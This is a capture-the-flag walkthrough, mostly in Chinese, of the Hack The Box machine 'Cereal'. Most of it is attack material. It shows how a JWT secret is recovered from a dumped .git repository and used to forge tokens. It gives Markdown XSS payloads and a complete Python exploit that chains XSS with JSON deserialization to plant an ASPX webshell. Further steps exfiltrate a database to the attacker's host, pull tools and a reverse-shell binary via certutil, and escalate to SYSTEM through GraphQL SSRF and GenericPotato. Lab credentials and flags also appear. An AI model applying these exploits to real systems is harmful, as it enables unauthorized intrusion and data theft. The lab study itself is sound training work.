IP Address | Opening Ports |
---|---|
10.10.10.217 | TCP:22,80,443 |
$ ip='10.10.10.217'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after: 2040-11-11T20:07:19
|_ssl-date: 2021-03-11T21:24:06+00:00; +2m38s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
# echo '10.10.10.217 cereal.htb source.cereal.htb'>>/etc/hosts
$ feroxbuster -u 'https://source.cereal.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -s 200,204,301,302,307,308,401,403,405
https://raw.githubusercontent.com/internetwache/GitTools/refs/heads/master/Dumper/gitdumper.sh
$ ./gitdumper.sh http://source.cereal.htb/.git/ RES/
$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: .gitignore
deleted: ApplicationOptions.cs
deleted: Cereal.csproj
deleted: CerealContext.cs
deleted: ClientApp/.gitignore
deleted: ClientApp/README.md
deleted: ClientApp/package-lock.json
deleted: ClientApp/package.json
deleted: ClientApp/public/FuturaStd-Bold.woff
deleted: ClientApp/public/favicon.ico
deleted: ClientApp/public/index.html
deleted: ClientApp/public/logo192.png
deleted: ClientApp/public/logo512.png
deleted: ClientApp/public/manifest.json
deleted: ClientApp/public/robots.txt
deleted: ClientApp/public/spoon.png
deleted: ClientApp/src/AdminPage/AdminPage.jsx
deleted: ClientApp/src/AdminPage/index.js
deleted: ClientApp/src/App/App.css
deleted: ClientApp/src/App/App.jsx
deleted: ClientApp/src/App/index.js
deleted: ClientApp/src/HomePage/HomePage.jsx
deleted: ClientApp/src/HomePage/index.js
deleted: ClientApp/src/LoginPage/LoginPage.jsx
deleted: ClientApp/src/LoginPage/index.js
deleted: ClientApp/src/_components/PrivateRoute.jsx
deleted: ClientApp/src/_components/index.js
deleted: ClientApp/src/_helpers/auth-header.js
deleted: ClientApp/src/_helpers/handle-response.js
deleted: ClientApp/src/_helpers/history.js
deleted: ClientApp/src/_helpers/index.js
deleted: ClientApp/src/_services/authentication.service.js
deleted: ClientApp/src/_services/index.js
deleted: ClientApp/src/_services/request.service.js
deleted: ClientApp/src/index.jsx
deleted: Controllers/RequestsController.cs
deleted: Controllers/UsersController.cs
deleted: DownloadHelper.cs
deleted: ExtensionMethods.cs
deleted: IPAddressHandler.cs
deleted: IPRequirement.cs
deleted: Migrations/20191105055735_InitialCreate.Designer.cs
deleted: Migrations/20191105055735_InitialCreate.cs
deleted: Migrations/CerealContextModelSnapshot.cs
deleted: Models/AuthenticateModel.cs
deleted: Models/CerealModel.cs
deleted: Models/Request.cs
deleted: Models/User.cs
deleted: Pages/Error.cshtml
deleted: Pages/Error.cshtml.cs
deleted: Pages/_ViewImports.cshtml
deleted: Program.cs
deleted: Properties/launchSettings.json
deleted: Services/UserService.cs
deleted: Startup.cs
deleted: appsettings.Development.json
deleted: appsettings.json
恢復檔案
$ git log --oneline --graph --decorate --all
* 34b6823 (HEAD -> master) Some changes
* 3a23ffe Image updates
* 7bd9533 Security fixes
* 8f2a1a8 CEREAL!!
$ git reset --hard 7bd9533
$ grep -iR 'Username or password is incorrect'
Controllers/UsersController.cs:
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Authorization;
using System.Linq;
using Cereal.Models;
using Cereal.Services;
namespace Cereal.Controllers
{
[Authorize]
[ApiController]
[Route("[controller]")]
public class UsersController : ControllerBase
{
private IUserService _userService;
public UsersController(IUserService userService)
{
_userService = userService;
}
[AllowAnonymous]
[HttpPost("authenticate")]
public IActionResult Authenticate([FromBody]AuthenticateModel model)
{
var user = _userService.Authenticate(model.Username, model.Password);
if (user == null)
return BadRequest(new { message = "Username or password is incorrect" });
return Ok(user);
}
}
}
這個控制器的路由是 [Route("[controller]")] → 即路徑名會是 Users
Authenticate 方法標記了 [HttpPost("authenticate")],所以 API 的實際路徑是:POST /Users/authenticate
Services/UserService.cs
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using Cereal.Models;
using Cereal.Helpers;
namespace Cereal.Services
{
public interface IUserService
{
User Authenticate(string username, string password);
}
public class UserService : IUserService
{
public User Authenticate(string username, string password)
{
using (var db = new CerealContext())
{
var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();
// return null if user not found
if (user == null)
return null;
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
{
new Claim(ClaimTypes.Name, user.UserId.ToString())
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);
return user.WithoutPassword();
}
}
}
}
JwtSecurityTokenHandler → 用來生成和寫出 JWT
key → 對稱密鑰,用來簽名 JWT
ClaimsIdentity → JWT 裡的 payload 資訊,這裡只放了 Name = user.UserId
Expires → 7 天後過期
SigningCredentials → 用對稱密鑰 + HMAC SHA256 簽名
這裏我們字段可以自定義,最後的payload看起來像
jwt.encode(
{'<ANY>': "<USER-ID>", "exp": datetime.utcnow() + timedelta(days=7)},
'<KEY>',
algorithm="HS256"
)
authentication.service.js
服務端返回的JWT保存到鍵名currentUser
:"TOKEN":"<JWT>"
注意這裏是存入localStorage;
localStorage 是瀏覽器提供的本地存儲機制,可以在使用者端永久保存資料(如 JWT 或使用者資訊),容量比 cookie 大、刷新或關閉瀏覽器也不會消失,前端可以隨時讀寫,適合用來維持登入狀態或存放需要長期保留的資料。
找到key。
$ git log -p
secretlhfIH&FY*#oysuflkhskjfhefesf
import jwt
from datetime import datetime, timedelta
payload = {
"N": "1",
"exp": datetime.utcnow() + timedelta(days=7)
}
secret = 'secretlhfIH&FY*#oysuflkhskjfhefesf'
token = jwt.encode(payload, secret, algorithm="HS256")
if isinstance(token, bytes):
token = token.decode()
print("currentUser={\"token\":\"" + token+"\"}")
$ python gen.py
currentUser={"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0NDM0N30.9foWz5lyR3u4tvXYYa-dIHxs4ofByDjVWW9IjsboU_0"}
[Authorize(Policy = "RestrictIP")]
此 API 受授權限制,只有符合 RestrictIP 策略的 IP 才能訪問
[HttpGet("{id}")]
這是一個 GET 請求,URL 形如 /requests/123
白名單只能服務器的ip才允許利用反序列化
管理員頁面,似乎存在即時 Markdown 預覽器。客戶端可以上傳參數,控制頁面中的title,管理員查看后觸發XSS載荷。
<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />
https://github.com/advisories/GHSA-m7qm-r2r5-f77q
特殊字元在 Markdown 中可能破壞格式,所以需要編碼;
POST /requests HTTP/2
Host: cereal.htb
Cookie: currentUser=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0Mzk1MH0.Kvq1rO3zFmKh4qLYwtUMb3Gv06OAzDg94Z9H_Y5UJhM
Content-Length: 103
Sec-Ch-Ua-Platform: "Linux"
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0NDM0N30.9foWz5lyR3u4tvXYYa-dIHxs4ofByDjVWW9IjsboU_0
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://cereal.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cereal.htb/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"json":"{\"title\":\"[XSS](javascript: document.write%28%27<img src=%22http://10.10.16.14/success%22 />%27%29)\",\"flavor\":\"bacon\",\"color\":\"#ffffff\",\"description\":\"123123\"}"}
DownloadHelper.cs
如果反序列化可以新建該對象,則可以讓服務器任意文件下載。
攻擊者請求request創建XSS載荷,和一個惡意序列化載荷項目
│
▼
管理員Markdown-XSS觸發
│
▼
管理員(處於ip白名單)自動請求惡意request/反序列化項目id
│ 127.0.0.1
▼
新建下載對象 DownloadHelper
│
▼
向子域名source/uploads下載惡意webshell
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
#!/usr/bin/env python3
import jwt
import requests
import sys
from datetime import datetime, timedelta
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
try:
target = sys.argv[1]
url = sys.argv[2]
saveas = sys.argv[3]
except IndexError:
print(f'Usage: {sys.argv[0]} [target ip/domain] [url to upload] [filename on target]')
sys.exit()
print('[*] Forging JWT token')
token = jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}
print('[*] Sending DownloadHelper serialized object')
serial_payload = {"json": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'" + url + "','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\" + saveas + "'}"}
resp = requests.post(f'https://{target}/requests', json=serial_payload, headers=headers, verify=False)
if resp.status_code != 200:
print(f'[-] Something went wrong: {resp.text}')
sys.exit()
serial_id = resp.json()['id']
print(f'[+] Object uploaded: {resp.text}')
print('[*] Sending XSS payload')
xss_payload = {"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://"+ target + "/requests/" + str(serial_id)+"', true%29;xhr.setRequestHeader%28'Authorization','Bearer "+token+"'%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test\"}"}
resp = requests.post(f'https://{target}/requests', json=xss_payload, headers=headers, verify=False)
if resp.status_code != 200:
print('[-] Something went wrong: {resp.text}')
sys.exit()
print(f'[+] XSS payload sent: {resp.text}')
$ python3 exp.py cereal.htb http://10.10.16.14/shell.aspx shell.aspx
https://source.cereal.htb/uploads/21098374243-shell.aspx
你可能會疑惑,爲什麽會是21098374243開頭?
如果你還記得我們剛開始git項目后,切換到了securityfix節點,恢復的文件是歷史的,所以我們需要切換回最新的commit后再查看diff。
$ git log --oneline --graph --decorate --all
* 34b6823 Some changes
* 3a23ffe Image updates
* 7bd9533 Security fixes
* 8f2a1a8 CEREAL!!
$ git reset --hard 34b6823
$ git log -p -- DownloadHelper.cs
- wc.DownloadFile(_URL, _FilePath);
+ wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
https://github.com/MartinxMax/tolapi
將文件上傳到我們服務器
> curl.exe -X POST -F "[email protected]" "http://10.10.16.14:10831/upload_with_token/f8257f72fc38499eba024516a166b76d"
$ sqlite3 1757848142888.db
1|sonny|mutual.madden.manner38974|
$ ssh [email protected]
00a4c544c44f9af49ae0141a845cdec5
$ whoami /priv
SeImpersonatePrivilege 允許程式冒充其他用戶執行操作。這在合法服務中很重要,但一旦被攻擊者拿到,就能利用各種「Potato 提權」手法直接升級到 SYSTEM。
PS C:\Users\sonny> netstat -ano|findstr 8080
PS C:\Users\sonny> Get-Process -Id 4 | Select-Object Id,ProcessName,StartInfo
幸運的是是system權限運行的
https://github.com/MartinxMax/KTOR
PS C:\ProgramData> certutil -urlcache -split -f "http://10.10.16.14:10831/download_with_token/80574e8e74344df7a41cdf966c8326b6" "ktorv2.ps1"
PS C:\ProgramData> .\ktorv2.ps1 -Local
$ ssh -L 10000:127.0.0.1:8080 [email protected]
http://127.0.0.1:10000/
查詢 GraphQL API
$ curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json'
haltProduction → 停止生產(修改狀態)
resumeProduction → 恢復生產(修改狀態)
updatePlant → 更新工廠/設備資料(修改資料庫)
獲取詳細信息
$ curl -X POST http://127.0.0.1:10000/api/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{mutationType{fields{name,description,args{name,type{name,kind,ofType{name,kind}},defaultValue},type{name,kind}}}}}"}'|jq
haltProduction(int plantId)
resumeProduction(int plantId)
updatePlant(int plantId, float version, string sourceURL)
$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://10.10.16.14\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json' -s
GenericPotato竊取TOKEN
1.你在本地或內網開一個 HTTP listener(比如 Cereal 上的服務)。
2.透過 SSRF 漏洞,讓一個以 SYSTEM 運行的服務向你的 listener 發送 HTTP 請求。
3.GenericPotato 這類工具利用 Windows 的 COM/DCOM 或 Named Pipe 權限繞過 漏洞
它可以把 SYSTEM 進程的 token 「劫持/複製」。
4.利用這個 token,攻擊者就能以 SYSTEM 身份執行任意命令。
https://github.com/MartinxMax/Chameleon
修改reverse目錄中reverse_win.C的反向ip
$ x86_64-w64-mingw32-gcc reverse_win.c -o reverse_10.10.16.14_443.exe -lws2_32
上傳Chameleon和GenericPotato
PS C:\programdata> curl -o "GenericPotato.exe" "http://10.10.16.14:10831/download_with_token/a3fd1d7e6b4741bd8b1acd0d85526e93"
PS C:\programdata> certutil -urlcache -split -f "http://10.10.16.14:10831/download_with_token/5b8ed0bf0e08414cb961385a366acf3f" "reverse_10.10.16.14_443.exe"
PS C:\programdata> .\GenericPotato.exe -p "C:\programdata\reverse_10.10.16.14_443.exe" -e HTTP
$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://localhost:8888\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json' -s
c1bb05cabcdb5cc6a67dd719c1dc67d6